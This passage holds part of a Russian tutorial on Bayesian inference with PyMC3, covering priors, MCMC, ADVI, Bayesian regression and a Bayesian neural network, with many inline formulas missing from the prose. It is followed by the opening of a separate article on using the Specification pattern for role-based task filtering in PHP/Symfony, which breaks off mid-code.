+ Например, возьмем область физики. Там есть законы и механизмы взаимодействия, о них мы имеем хорошее представление (за исключением некоторых величин, как, например, коэффициент трения какого-то вещества с поверхностью). Мы примерно предполагаем, каким он должен быть, исходя из прошлого опыта и накопленных знаний. Хотя бы то, что он больше нуля. Мы можем построить эксперимент, составив физическую модель с неизвестным параметром, который хочется оценить.
+ **Важное замечание:** Иногда возникает соблазн подстраивать априорное распределение под наблюдаемые данные. Скажем, например, что мы прикинули на даннных, что искомый  где-то около  и начинаем выводить апостериорное. Постойте, но когда вы, например, доказываете теорему, вы же не пользуетесь ее результатами для ее же доказательства? Так же и здесь, априорное распределение не должно опираться на *изучаемый* набор данных.
*  — правдоподобие, оценка адекватности предполагаемого . Выражается в вероятности наблюдать данные при условии выбранной гипотезы на .
+ У нас есть результаты эксперимента, для каждого набора параметров мы можем оценивать, "насколько хорошо модель описывает мир". Эту идею используют классические статистики при MLE оценке.
*  — апостериорное распределение, выводы, которые мы хотим получить.
+ По сути это те представления о неизвестных параметрах модели (коэф. трения), которые сложились у нас в ходе проведения эксперимента. Можно считать это компромиссом между старыми знаниями и новыми, выраженными через  и  соответственно.
*  — Evidence, вероятность получить такие данные вообще, на русский переводится скверно.
Байесовский вывод
=================
На первый взгляд, ничего особенного: у нас есть формулы плотностей , , искомая плотность выглядит следующим образом:
Перемножить две плотности — не проблема. Посчитать интеграл снизу?.. Хм, ну можно вспомнить университетский курс матанализа… В общем берем, подставляем все в формулу и готово. Вооружившись этим знанием, можно смело отправляться исследовать простые модели с простыми распределениями. Однако в более менее приближенных к жизни примерах, даже такое знание не спасет и взять интеграл аналитически бывает не под силу.
Зачем все это?
==============
Ну раз мы не можем вывести распределение , почему бы не ограничиться тогда просто точечной оценкой, скажем, где плотность распределения максимальна? Ну или в крайнем случае, даже этого не делать и искать максимум , мы же как никак хотим построить модель, которая объясняет наши данные. Первый подход называется **MAP** (maximum a posterior) оценкой , а второй — **ML** (maximum likelihood) . Второй способ почти каждый студент технического вуза проходил в курсе теории вероятности.
У ML оценки есть ряд недостатков. Самый интуитивно понятный из них заключается в том, что даже сложная модель может казаться привлекательной с точки зрения этого критерия. Ведь чем больше вероятность, тем лучше, но с увеличением параметров модель может просто повторять данные. Этот факт вводит в заблуждение и заставляет обосновывать, почему модель адекватная. С точки зрения байесовского вывода можно предствить себе ML оценку, как MAP с ![$p(z) = Uniform[-\infty, \infty]$](https://habrastorage.org/getpro/habr/post_images/118/947/41b/11894741b0d535ea55885cfacc7c0f62.svg). Да, интеграл не берется, но у нас точечная оценка и нам это не помешает, считаем плотность  постоянной.
**Доказательство**
Такого рода априорные распределения называются **Improper Priors**, а конкретно это — еще и **Uninformative** (неинформативное).
Иными словами, мы не имеем представления о том, каким должно быть  на самом деле. Теряется возможность использовать всю доступную информацию. К примеру:
1. Для какой-то задачи из теории достоверно известно, что  строго больше нуля. Это можно исправить преобразованием, но если поменять постановку на *"скорее больше, чем меньше нуля"*, то ML это не сможет учесть.
2. Для случая линейной регрессии, когда регрессоров большое количество и есть вера в то, что не все они важны. Тогда в векторе  (коэффициенты) много нулевых компонент.
Стандартный подход хорош простотой реализации и изученными асимптотическими свойствами, но MAP более осмысленен в ряде ситуаций.
**Импорт всего необходимого**
```
from theano import theano, tensor as tt
import pymc3 as pm
import pandas as pd
from sklearn import datasets
import numpy as np
from numpy import random
import pylab as plt
import seaborn as sns
import warnings
import scipy.stats as stats
warnings.filterwarnings('ignore')
%matplotlib inline
plt.mpl.style.use('ggplot')
```
Пример с монеткой
=================
Давайте посмотрим, что происходит с апостериорным распределением, когда мы получаем новые наблюдения. Это очень похоже на изменение уверенности в самом обычном ее понимании. Сначала мы ничего не знаем, но когда получаем примеры, наше представление о ненаблюдаемых факторах меняется. Для наглядной репрезентации я буду использовать честный вывод апостериорного распределения.
Имея prior ![$Uniform[0, 1]$](https://habrastorage.org/getpro/habr/post_images/c0f/a2d/a07/c0fa2da0757bc2fe5a573f63b75e7f58.svg)(равносильно ![$Beta[\alpha=1, \beta=1]$](https://habrastorage.org/getpro/habr/post_images/819/ed6/90a/819ed690a7df83cf60edc5b6cfa2c478.svg)) для вероятности получить "орла"  и имея наблюдения "орел"  и "решка" , всего  наблюдений, получим апостериорное распределение на вероятность ![$Beta[\alpha=t+1, \beta=f+1]$](https://habrastorage.org/getpro/habr/post_images/a47/83a/8d5/a4783a8d52b79ae546496c02c93821f7.svg).
Для наглядной иллюстрации потребуется несколько вспомогательных функций и синтетические данные
**Вспомогательные функции**
```
# первая составляет нужное распределение
def posterior(t, f):
"""
t : орел
f : решка
"""
return stats.beta(a=t+1, b=f+1)
# вторая рисует график плотности
def plot_pdf(dist, ax, c):
space = np.linspace(0, 1)
pdf = dist.pdf(space)
ax.plot(space, pdf, c=c, alpha=.5)
return ax
```
```
# Данные
true_p = .3 # Истинная вероятность получить "Орла"
random.seed(42) # для воспроизводимости данных
trials = np.random.uniform(size=100) < true_p # Бинарная переменная, где 1 это орел
# Составляем пары [t, f]
observed = np.array(list(zip(np.cumsum(trials), np.arange(1, trials.size+1) - np.cumsum(trials))))
observed[:6]
```
```
array([[0, 1],
[0, 2],
[0, 3],
[0, 4],
[1, 4],
[2, 4]])
```
**Рисуем графики**
```
fig, ax = plt.subplots(figsize=(15, 5))
cmap = plt.get_cmap('cool')
plot_pdf(posterior(0, 0), ax, cmap(0))
for (t, f), c in zip(observed, np.linspace(0, 1, num=observed.shape[0])):
plot_pdf(posterior(t, f), ax, cmap(c))
plt.title('Эволюция апостериорного распределения вероятности выпадения орла')
plt.show()
```
Чем больше примеров мы видим, тем более узким становится апостериорное распределение, это проявление уверенности в новых знаниях. Что более интересно, так это поведение распределения при малом количестве наблюдений: оно адекватно отражает неуверенность. Этого не происходит, если пользоваться методами классической статистики и искать MLE оценку. Мы бы получали вероятность 0 для орла при малом количестве наблюдений, что, конечно, не так.
Мотивация
=========
**PyMC3** позволяет выводить апостериорное распределение без непосредственного вывода формул. Это делает возможным байесовский вероятностный вывод практически на любых адекватных моделях. Более того, с её помощью можно строить вероятностные нейронные сети, в которых вместо параметров — распределения и, следовательно, предсказания тоже являются распределениями.
Начало работы с PyMC3
=====================
Библиотека *PyMC3* написана поверх *[Theano](http://deeplearning.net/software/theano/)* и поэтому может быть использована вместе с ней. *Theano* — библиотека для тензорной алгебры и широко используется для глубокого обучения. Она поддерживает символьные операции и дифференцирование, что и делает возможным не только обучение нейросетей с помощью *backprop*, но и вариационный баесовский вывод.
Работа с *PyMC3* по большей части напоминает работу с *Theano*, в одном из наших предыдущих [постов](https://habrahabr.ru/company/ods/blog/323272/) про нее хорошо написано.
Базовой частью библиотеки является модель (`pm.Model`), она позволяет на лету составлять апостериорную плотность (точнее ее неотнормированную часть). Для того, чтобы это работало с приятным интерфейсом, применена небольшая магия с контекстным менеджером. Латентные переменные в *PyMC3* объявляются внутри контекста `with model: ...`.
Сами латентные переменные являются переменными в смысле `Theano`, для них верно все то, что верно для обычных тензоров в `Theano`. Это полезно помнить, чтобы не бояться экспериментировать и строить более сложные модели.
Будем строить модель последовательно, чтобы на наглядном примере показать, что методы MCMC с увеличением сложности модели могут ухудшать свой результат, ну или, по крайней мере, становиться непозволительно медленными.
Сэмплировать можно с помощью вспомогательной функции `pm.sample`, она хорошо работает с настройками по умолчанию, но в целях демонстрации они изменены. По умолчанию для MCMC метода заранее подбираются подходящие параметры, что сейчас как раз не нужно.
```
# выше сделан import pymc3 as pm
with pm.Model() as simple_model:
# По соглашению все случайные переменные должны иметь уникальные имена
# Параметры распределения надо передавать после строкового имени
norm = pm.Normal('norm', 0, 1)
# не подбирать параметры для MCMC метода NUTS
step = pm.NUTS()
trace = pm.sample(1000, step=step)
# Обратите внимание на количество итераций в секунду: оно будет уменьшаться по мере усложнения модели
```
```
WARNING (theano.tensor.blas): We did not found a dynamic library into the library_dir of the library we use for blas. If you use ATLAS, make sure to compile it with dynamics library.
100%|██████████| 1000/1000 [00:00<00:00, 1368.27it/s]
```
Trace Plot
----------
Для визуализации результатов есть замечательные утилиты. Например, **TracePlot**. Это график истории марковской цепи. Анализируя ее, можно понять, насколько хорошо отработал алгоритм и требует ли он дополнительной настройки. Визуальными критериями качества являются:
1. Стационарность. Сэмплы должны образовывать шум вогруг какого-то значения.
2. Не имеют сильно выраженной автокорреляции. Иногда это может быть и ожидаемо(увидим ниже), но лучше чтобы ее не было
3. Вся история не может стостоять из одной и той же повторяющейся точки. Если какая-то переменная оставалась константой, то скорее всего что-то пошло не так в коде самой модели.
```
pm.traceplot(trace);
```
Немного усложним модель
```
with pm.Model() as simple_model:
norm = pm.Normal('norm', 0, 1)
# В качестве параметров допускается использовать уже объявленные случайные переменные
laplace = pm.Laplace('lap', mu=norm, b=3)
step = pm.NUTS()
trace = pm.sample(1000, step=step)
```
```
100%|██████████| 1000/1000 [00:36<00:00, 27.10it/s]
```
Стала заметна турбулентность в марковской цепи для нормального распределения.
```
pm.traceplot(trace);
```
Вот что случается, когда модель становится нетривиальной, хотя должна была быть с независимой нормально распределенной первой переменой. Для таких случаев можно сначала затюнить ADVI и использовать ковариационную матрицу и средние оттуда для инициализации NUTS. Но для начала подробнее про ADVI.
ADVI
----
ADVI расшифровывается как *Automatic Differentiation Variational Inference* ([ссылка на статью](https://arxiv.org/abs/1603.00788)). Это, пожалуй, один из самых простых и часто используемых алгоритмов для приближенного байесовского вывода. Когда размерность латентного пространства растет, MCMC методы становятся либо достаточно сложными в настройке (дефолтные параметры не подходят), либо итерации занимают огромное количество времени. В том, что дефолтные параметры могут не подойти, мы убедились выше. Вот тогда и встает необходимость хотя бы приблизить целевое распределение тем, с которым мы умеем работать.
### Теория
Суть метода заключается в том, что он приближает апостериорное распределение  другим распределением , для которого мы умеем считать плотность и сэмплировать. В классической постановке таким распределением является многомерное нормальное с диагональной ковариационной матрицей . Это является основным его недостатком: делается предположение, что латентные переменные независимы, но это, конечно же, не всегда так. Тем не менее, даже с такой сильной предпосылкой можно добиваться неплохих результатов. Далее мы увидим, как подобное упрощение позволяет экономить вычислительные ресурсы.
#### Постановка задачи
Пусть есть наблюдения , параметрическая модель с параметрами  и функция ее правдоподобия . Помимо этого, байесовский подход требует наличия априорного распределения на параметры модели . По правилу Байеса выводим апостериорное распределение на параметры:
Часть без нормализующей константы посчитать обычно не составляет труда:
Зададим параметрическое семейство распределений , с которым будем работать.
*Метрика.* Стандартным выбором для метрики в пространстве распределений является расстояние Кульбака-Лейблера
![$\large KL(q||p) = \mathbb{E}_{q(z)}[log q(z)-logp(z|D)]$](https://habrastorage.org/getpro/habr/post_images/ec8/1d8/210/ec81d8210bfae78b09f632125df4a530.svg)
Если распределения совпадают, то матожидание равняется нулю, в противном случае матожидание больше нуля. Таким образом, задача байесовского вывода сводится к задаче оптимизации
#### Решение задачи
Эта задача решается стохастическим градиентным спуском. Для этого необходимо взять производную по .
![$\large \mathbb{E}_{q_{\theta}(z)}[log q_{\theta}(z)-logp(z|D)]$](https://habrastorage.org/getpro/habr/post_images/20b/a8a/2dc/20ba8a2dc89e49a4346a905a9446f1d5.svg)
![$\large =\mathbb{E}_{q_{\theta}(z)}[log q_{\theta}(z)]-\mathbb{E}_{q_{\theta}(z)}[logp(z|D)]$](https://habrastorage.org/getpro/habr/post_images/078/860/889/0788608891d5dc3d751f18d6c171f93a.svg)
![$\large =\mathbb{E}_{q_{\theta}(z)}[log q_{\theta}(z)]-\mathbb{E}_{q_{\theta}(z)}[logp(D|z)] - \mathbb{E}_{q_{\theta}(z)}[logp(z)] + \mathbb{E}_{q_{\theta}(z)}[logp(D)]$](https://habrastorage.org/getpro/habr/post_images/d1e/f09/b6c/d1ef09b6c5e5b40fd71ff29d5c9cec19.svg)
Мы полностью разложили KL-метрику, и поскольку ее надо минимизировать, а ![$\mathbb{E}_{q_{\theta}(z)}[logp(D)]$](https://habrastorage.org/getpro/habr/post_images/83d/ed6/d62/83ded6d626dded3232d85131e464aae3.svg) все равно константа, то и считать ее нет необходимости. Так мы избавляемся от основной проблемы аналитического вывода апостериорного распределения — неберущегося интеграла. Все, что осталось, равняется  (*Evidence Lower BOund*).
Казалось бы, дальше все задано аналитически и хорошо считается, но есть одно но. Чтобы взять производную по параметрам, придется взять производную по интегралу, который, в свою очередь, зависит от этих самых параметров. Если мы будем делать это методами MC и аппроксимировать интеграл несколькими сэмплами, то столкнемся с тем, что градиенты имеют большую дисперсию. Этого можно избежать, и выбранное нами семейство апостериорных распределений это позволяет сделать. Следующая теорема продемонстерирует условия, когда производную можно внести под знак интеграла.
**Теорема**
Пусть  случайная величина с плотностью распределения  и пусть , где  — детерминистская обратимая функция. Пусть плотность распределения случайной величины  это . Предположим далее, что .
Тогда для функции  с производной по  выполнено
![$\large \frac{\partial}{\partial\theta} \mathbb{E}_{q(z|\theta)}[f(z, \theta)] = \mathbb{E}_{q(\epsilon)}[\frac{\partial f(z, \theta)}{\partial z}\frac{\partial z}{\partial \theta} + \frac{f(z, \theta)}{\partial \theta}] $](https://habrastorage.org/getpro/habr/post_images/046/eca/a2e/046ecaa2e05729d4ee608a41192914a9.svg)
Это и понадобится для оптимизации. Поскольку  представима в виде , где . Пусть 
Это называется *Reparametrization Trick*. Используя его, уже гораздо проще взять производную от .
![$\large -\nabla ELBO = \mathbb{E}_{\mathcal{N}(0, 1)}[\nabla_{\theta}log q_{\theta}(t(\theta, \epsilon))-\nabla_{\theta}logp(D|t(\theta, \epsilon)) - \nabla_{\theta}logp(t(\theta, \epsilon))] $](https://habrastorage.org/getpro/habr/post_images/57a/852/cdd/57a852cdda631ba153eb0a669938c0c7.svg)
Cделав соответствующую репараметризацию, будет достаточно вызвать `theano.grad` на выражение и получить градиент выше, точнее его единственоый сэмпл, которого вполне достаточно. После этого можно использовать любимый оптимизатор.
```
with pm.Model() as simple_model:
norm = pm.Normal('norm', 0, 1)
laplace = pm.Laplace('lap', mu=norm, b=3)
trace = pm.sample(1000, init='advi', n_init=10000)
```
```
Auto-assigning NUTS sampler...
Initializing NUTS using advi...
Average ELBO = -0.11837: 100%|██████████| 10000/10000 [00:00<00:00, 13764.87it/s]
Finished [100%]: Average ELBO = -0.1085
Evidence of divergence detected, inspect ELBO.
100%|██████████| 1000/1000 [00:01<00:00, 974.36it/s]
```
Уже гораздо лучше.
**HINT:** на трейсплоте важно смотреть на марковскую цепь, в идеале она должна быть стационарной, примерно как здесь, и не сильно турбулентной, как выше
```
pm.traceplot(trace);
```
```
with pm.Model() as simple_model:
norm = pm.Normal('norm', 0, 1)
laplace = pm.Laplace('lap', mu=norm, b=3)
# использование произвольных выражений (даже таких экзотических) тоже допустимо
lognorm = pm.Lognormal('lognorm', sd=norm**2 + 1e-7, testval=1)
trace = pm.sample(10000, n_init=40000)
```
```
Auto-assigning NUTS sampler...
Initializing NUTS using advi...
Average ELBO = -7.4197e+05: 100%|██████████| 40000/40000 [00:03<00:00, 11614.15it/s]
Finished [100%]: Average ELBO = -1.221e+08
Evidence of divergence detected, inspect ELBO.
100%|██████████| 10000/10000 [01:06<00:00, 150.87it/s]
```
Здесь видно, что есть заметная автокорреляция в первой марковской цепи. На самом деле неудивительно, ведь из-за того, что мы использовали квадрат нормального распределения как стандартное отклонение, NUTS застревал в локальных максимумах плотности.
```
# первые 100 итераций портят картинку
pm.traceplot(trace[100:]);
```
Модель можно составлять последовательно, необязательно сразу в одном контексте:
```
random.seed(42)
obs = random.normal(0, 1, size=10) + random.normal(0, 10, size=10)
with pm.Model() as model:
hc = pm.HalfCauchy('hc', beta=1)
# your code
with model:
# если есть наблюдаемые переменные, то они указываются через ключевое слово
norm = pm.Normal('norm', 0, hc, observed=obs)
with model:
trace = pm.sample(1000, tune=200, n_init=1000)
pm.traceplot(trace[10:]);
```
```
Auto-assigning NUTS sampler...
Initializing NUTS using advi...
Average ELBO = -1,954.7: 100%|██████████| 1000/1000 [00:00<00:00, 8967.46it/s]
Finished [100%]: Average ELBO = -1,402.2
100%|██████████| 1000/1000 [00:00<00:00, 1464.22it/s]
```
Идеология PyMC3 предусматривает проверку модели на валидность по ходу построения: так избегаются ошибки на раннем этапе. Это достигается принудительным использованием `test_value`
```
norm.tag.test_value
```
```
array([ -4.13746262, -4.79556179, 3.06731129, -17.60977173,
-17.48333168, -5.85701227, -8.54909801, 3.90990806,
-9.54971504, -13.58047676], dtype=float32)
```
`Theano` идеально подходит для векторизованных операций. Поэтому, если перед вами стоит выбор, как задавать модель — через цикл или через создание веторной случайной переменной, — лучше выбрать второй вариант. В этом случае создаются независимые случайные переменные, к которым можно впоследствии обращаться по индексам.
```
with pm.Model() as model:
vectorized_p = pm.Uniform('p', shape=(4,))
vectorized_p.tag.test_value
```
```
array([ 0.5, 0.5, 0.5, 0.5], dtype=float32)
```
Если вам не нравится инициализация по умолчанию, вы можете указать свою.
```
with pm.Model() as model:
vectorized_p = pm.Uniform('p',
shape=(4,),
testval=np.ones((4,), 'float64') * .3,
dtype='float64')
vectorized_p.tag.test_value
```
```
array([ 0.3, 0.3, 0.3, 0.3])
```
Байесовская линейная регрессия
==============================
Первый более менее большой и осмысленый пример будет про цены на бостонские квартиры:
```
data_ = datasets.load_boston()
data = pd.DataFrame(data=data_['data'], columns=data_['feature_names'])
y = data_['target']
```
```
print('\n'.join(data_.DESCR.splitlines()[13:28]))
```
```
:Attribute Information (in order):
- CRIM per capita crime rate by town
- ZN proportion of residential land zoned for lots over 25,000 sq.ft.
- INDUS proportion of non-retail business acres per town
- CHAS Charles River dummy variable (= 1 if tract bounds river; 0 otherwise)
- NOX nitric oxides concentration (parts per 10 million)
- RM average number of rooms per dwelling
- AGE proportion of owner-occupied units built prior to 1940
- DIS weighted distances to five Boston employment centres
- RAD index of accessibility to radial highways
- TAX full-value property-tax rate per $10,000
- PTRATIO pupil-teacher ratio by town
- B 1000(Bk - 0.63)^2 where Bk is the proportion of blacks by town
- LSTAT % lower status of the population
- MEDV Median value of owner-occupied homes in $1000's
```
```
data.head()
```
| | CRIM | ZN | INDUS | CHAS | NOX | RM | AGE | DIS | RAD | TAX | PTRATIO | B | LSTAT |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 0 | 0.00632 | 18.0 | 2.31 | 0.0 | 0.538 | 6.575 | 65.2 | 4.0900 | 1.0 | 296.0 | 15.3 | 396.90 | 4.98 |
| 1 | 0.02731 | 0.0 | 7.07 | 0.0 | 0.469 | 6.421 | 78.9 | 4.9671 | 2.0 | 242.0 | 17.8 | 396.90 | 9.14 |
| 2 | 0.02729 | 0.0 | 7.07 | 0.0 | 0.469 | 7.185 | 61.1 | 4.9671 | 2.0 | 242.0 | 17.8 | 392.83 | 4.03 |
| 3 | 0.03237 | 0.0 | 2.18 | 0.0 | 0.458 | 6.998 | 45.8 | 6.0622 | 3.0 | 222.0 | 18.7 | 394.63 | 2.94 |
| 4 | 0.06905 | 0.0 | 2.18 | 0.0 | 0.458 | 7.147 | 54.2 | 6.0622 | 3.0 | 222.0 | 18.7 | 396.90 | 5.33 |
Создадим простую байесовскую линейную модель.
По умолчанию Prior на коэффициенты — `Normal(mu=0, tau=1.0E-6)`, на константу — `Flat`.
Оценивать модель будем с помощью [SVGD](https://arxiv.org/abs/1608.04471) для разнообразия.
```
from functools import partial
with pm.Model() as lm_model:
lm_model = pm.GLM(x=data, y=y)
# для вариационных методов есть унифициорванный интерфейс через pm.fit
histogram = pm.fit(200, method='svgd', obj_optimizer=partial(pm.adagrad, learning_rate=.7))
```
```
100%|██████████| 200/200 [00:05<00:00, 35.31it/s]
```
И вот, мы получили распределение! По нему теперь можно строить доверительные интервалы, что мы и сделаем для коэффициентов при наших регрессорах.
```
# метод `histogram.sample` создает аналогичный объект, что мы получали с помощью pm.sample.
# Это просто набор случайных реализаций из приближенного распределения
pm.forestplot(histogram.sample(300), varnames=data.columns);
```
Байесовские нейронные сети
==========================
Поскольку бэкенд `PyMC3` — `Theano`, то совершенно естественным желанием будет использовать вариационный байесовский вывод для нейронных сетей. Это довольно легко и прозрачно получается с помощью `Lasagne`.
Отличительной особеностью байесовской нейронной сети от обычной является то, как моделируются веса. В привычном случае в качестве весов берутся конкретные значения и оптимизируются с помощью градиентного спуска.
В случае с байесовской нейронной сетью все иначе. Веса сети воспринимаются как ненаблюдаемые случайные переменные с априорным распределением. В идеале на них надо сделать честный байесовский вывод, но мы видели, что сэмплирование тормозит даже самые простые задачи, а тут совершенно иной уровень. Обычной практикой при обучении байесовских сетей является приближенный вариационный вывод этого самого распределения. Наиболее быстрым из вариационных методов является вышеупомянутый ADVI. Им и будем пользоваться тут.
```
from lasagne.layers import *
import lasagne
from sklearn import datasets
from sklearn.preprocessing import scale
from sklearn.cross_validation import train_test_split
from sklearn.datasets import make_moons
```
Сгенерируем синтетические данные с помощью утилит `sklearn`
```
X, Y = make_moons(noise=0.2, random_state=0, n_samples=1000)
X = scale(X)
# дополнительно надо поменять тип, иначе X и Y float64
X = X.astype(theano.config.floatX)
Y = Y.astype(theano.config.floatX)
X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=.5)
```
```
fig, ax = plt.subplots()
ax.scatter(X[Y==0, 0], X[Y==0, 1], color='b', label='Class 0')
ax.scatter(X[Y==1, 0], X[Y==1, 1], color='r', label='Class 1')
sns.despine(); ax.legend()
ax.set(xlabel='X', ylabel='Y', title='Toy binary classification data set');
```
Для `Lasagne` в качестве инициализации можно передавать функцию, возвращающую символьную переменную `theano`. Инициализация сильно отличается от `PyMC3`, поэтому придется написать свой адаптер.
```
import itertools
class RandomWeight(object):
counter = itertools.count(0)
def __init__(self, mu=0, sd=1):
self.mu = mu
self.sd = sd
def __call__(self, shape):
name = 'auto_%s' % next(self.counter)
return pm.Normal(name, self.mu, self.sd,
testval=lasagne.init.GlorotUniform()(shape),
shape=shape, dtype=theano.config.floatX)
```
Создавать нейронную сеть необходимо в контексте модели, чтобы веса инициализировались корректно
```
input_var = theano.shared(X_train)
out_var = theano.shared(Y_train)
with pm.Model() as nnet:
inp = InputLayer((None, 2), input_var)
# без констант сеть работает неплохо, можно на нее тут забить
z = DenseLayer(inp, 5, W=RandomWeight(), b=None, nonlinearity=tt.tanh)
z = DenseLayer(z, 5, W=RandomWeight(), b=None, nonlinearity=tt.tanh)
p = DenseLayer(z, 1, W=RandomWeight(), b=None, nonlinearity=tt.nnet.sigmoid)
# вместо функции потерь тепеть наблюдаемая случайная величина, ее -p(D|z) будет играть роль потерь
pm.Bernoulli('observed', p=get_output(p).flatten(), observed=out_var)
```
Приближенный байесовский вывод для такой модели можно делать с помощью вышеописанного ADVI
```
with nnet:
inference = pm.ADVI()
approx = inference.fit(30000)
```
```
Average Loss = 132.78: 100%|██████████| 30000/30000 [00:35<00:00, 847.38it/s]
Finished [100%]: Average Loss = 132.78
```
```
plt.figure(figsize=(12, 6))
plt.plot(inference.hist, alpha=.3)
plt.legend()
plt.ylabel('-ELBO')
plt.xlabel('iteration');
```
Результаты можно с легкостью переиспользовать для другой задачи, например, использовать их, чтобы делать предсказания:
```
# Создаем символьный вход
x = tt.matrix('X')
# Переменную количества сэмплов
n = tt.iscalar('n')
# В конфиге теано стоит compute_test_value='raise', чтобы он не ругался, зададим тестовые значения в переменные
x.tag.test_value = np.empty_like(X_train[:10])
n.tag.test_value = 100
# У любого класса аппроксимации есть методы sample_node и apply_replacements
# Они убирают зависимость графа от латентных переменных pymc3 и заменяют их аппроксимацией
_sample_proba = approx.sample_node(get_output(p).flatten(), size=n,
more_replacements={input_var:x})
# Вот теперь можно скомпилировать функцию
# У аппроксимаций нет апдейтов генератора случайных чисел, это удобно
sample_proba = theano.function([x, n], _sample_proba)
```
Собственно сами предсказания можно получить, вызвав функцию на тестовом множестве:
```
pred = sample_proba(X_test, 500).mean(0) > 0.5
```
```
fig, ax = plt.subplots()
ax.scatter(X_test[pred==0, 0], X_test[pred==0, 1], color='b')
ax.scatter(X_test[pred==1, 0], X_test[pred==1, 1], color='r')
sns.despine()
ax.set(title='Predicted labels in testing set', xlabel='X', ylabel='Y');
```
Разделяющая граница
===================
Можно посмотреть разделяющую границу для классов, для этого можно подставить туда все точки на плоскости и усреднить.
```
grid = np.mgrid[-3:3:100j,-3:3:100j].astype('float32')
grid_2d = grid.reshape(2, -1).T
ppc = sample_proba(grid_2d ,500)
```
```
cmap = sns.diverging_palette(250, 12, s=85, l=25, as_cmap=True)
fig, ax = plt.subplots(figsize=(16, 9))
contour = ax.contourf(grid[0], grid[1], ppc.mean(axis=0).reshape(100, 100), cmap=cmap)
ax.scatter(X_test[pred==0, 0], X_test[pred==0, 1], color='b')
ax.scatter(X_test[pred==1, 0], X_test[pred==1, 1], color='r')
cbar = plt.colorbar(contour, ax=ax)
_ = ax.set(xlim=(-3, 3), ylim=(-3, 3), xlabel='X', ylabel='Y');
cbar.ax.set_ylabel('Posterior predictive mean probability of class label = 0');
```
Уверенность модели
==================
Уверенность модели в предсказаниях — очень интересная штука. Обычно в моделях мы можем получить только точечную оценку на интересующее нас значение. Она сама по себе не несет в себе информации о том, как хорошо модель понимает окружающий мир: об этом может сказать только распределение оценки. С помощью байесовских методов это делается очень интуитивно, и, более того, довольно неплохо реализовано в `PyMC3`.
```
cmap = sns.cubehelix_palette(light=1, as_cmap=True)
fig, ax = plt.subplots(figsize=(16, 9))
contour = ax.contourf(grid[0], grid[1], ppc.std(axis=0).reshape(100, 100), cmap=cmap)
ax.scatter(X_test[pred==0, 0], X_test[pred==0, 1], color='b')
ax.scatter(X_test[pred==1, 0], X_test[pred==1, 1], color='r')
cbar = plt.colorbar(contour, ax=ax)
_ = ax.set(xlim=(-3, 3), ylim=(-3, 3), xlabel='X', ylabel='Y');
cbar.ax.set_ylabel('Uncertainty (posterior predictive standard deviation)');
```
Это далеко не все вещи, которые можно делать с помощью PyMC3. За кадром остались байесовская оптимизация, гауссовские процессы, LDA и многое другое.
В репозитории PyMC3 есть огромное количество примеров, которые можно запустить у себя. Все они в виде *jupyter* тетрадок [вот здесь](https://github.com/pymc-devs/pymc3/blob/master/docs/source/notebooks/)
Ссылки на используемые источники
================================
* [Bayesian Methods for Hackers](https://github.com/CamDavidsonPilon/Probabilistic-Programming-and-Bayesian-Methods-for-Hackers)
* [Weight Uncertainty in Neural Networks](https://arxiv.org/abs/1505.05424)
* [Пример с монеткой](https://en.wikipedia.org/wiki/Checking_whether_a_coin_is_fair)
* [Automatic Differentiation Variational Inference](https://arxiv.org/abs/1603.00788)
* [Operator Variational Inference](https://arxiv.org/abs/1610.09033)
* [Stein Variational Gradient Descent](https://arxiv.org/abs/1608.04471)
* [Полная тетрадка с нейронной сетью](https://github.com/ferrine/pymc3/blob/master/docs/source/notebooks/bayesian_neural_network_opvi-advi.ipynb)
* [ссылка](https://gist.github.com/ferrine/acefc31ff4f688011e94d3db285e1f83) на jupyter ноутбук с этой публикацией
Благодарности
=============
Хочу сказать большое спасибо [mephistopheies](https://habrahabr.ru/users/mephistopheies/) и [bauchgefuehl](https://habrahabr.ru/users/bauchgefuehl/) за помощь в подготовке публикации. | https://habr.com/ru/post/322716/ | null | ru | null |
# Пара слов о спецификациях
Всем доброго времени суток! Удивительно, но упоминание о шаблоне ["Спецификация"](https://en.wikipedia.org/wiki/Specification_pattern) в контексте php встречается крайне редко. А ведь с его помощью можно не только [избежать комбинаторного взрыва методов репозитория](https://beberlei.de/2013/03/04/doctrine_repositories.html), но и улучшить [переиспользование кода](https://habr.com/ru/post/334404/). Я же в свою очередь хотел бы остановиться на еще одной возможности, предоставляемой данным паттерном. С ее помощью можно решить проблему, которая возникает почти в каждом веб-приложении. И лично мне очень не хватало этого знания еще пару лет назад.
### Что будем делать
Предположим, что мы разрабатываем task tracker. На главной странице будет выводиться список задач. Также нам понадобится просмотр отдельной задачи.
**TaskController.php**
```
php
declare(strict_types=1);
namespace App\Controller;
use App\Entity\Task;
use App\Repository\TaskRepository;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing\Annotation\Route;
#[Route('/task')]
final class TaskController extends AbstractController
{
#[Route('/', name: 'task_index', methods: ['GET'])]
public function index(TaskRepository $taskRepository): Response
{
return $this-render('task/index.html.twig', [
'tasks' => $taskRepository->findAll(),
]);
}
#[Route('/{id}', name: 'task_show', methods: ['GET'])]
public function show(Task $task): Response
{
return $this->render('task/show.html.twig', [
'task' => $task,
]);
}
}
```
Далее предположим, что у нас есть 3 типа пользователей:
* Admin — может работать со всеми задачами.
* Manager — может работать только с задачами своего проекта.
* Developer — может работать только с назначенными ему задачами.
Следовательно необходимо создать систему прав, чтобы каждый тип пользователей имел доступ лишь к предназначенным ему задачам. Выглядеть это будет примерно так:
**TaskController.php**
```
namespace App\Controller;
use App\Entity\Task;
+use App\Entity\User;
use App\Repository\TaskRepository;
+use App\Security\CurrentUserProvider;
+use Doctrine\ORM\QueryBuilder;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
+use Symfony\Component\HttpKernel\Exception\AccessDeniedHttpException;
use Symfony\Component\Routing\Annotation\Route;
+use Symfony\Component\Security\Core\Authorization\AuthorizationCheckerInterface;
#[Route('/task')]
final class TaskController extends AbstractController
{
+ public function __construct(private AuthorizationCheckerInterface $authorizationChecker, private CurrentUserProvider $currentUserProvider)
+ {
+ }
+
#[Route('/', name: 'task_index', methods: ['GET'])]
public function index(TaskRepository $taskRepository): Response
{
+ $queryBuilder = $taskRepository->createQueryBuilder('t');
+ $this->filter($queryBuilder);
+
return $this->render('task/index.html.twig', [
- 'tasks' => $taskRepository->findAll(),
+ 'tasks' => $queryBuilder->getQuery()
+ ->getResult(),
]);
}
+ private function filter(QueryBuilder $queryBuilder): void
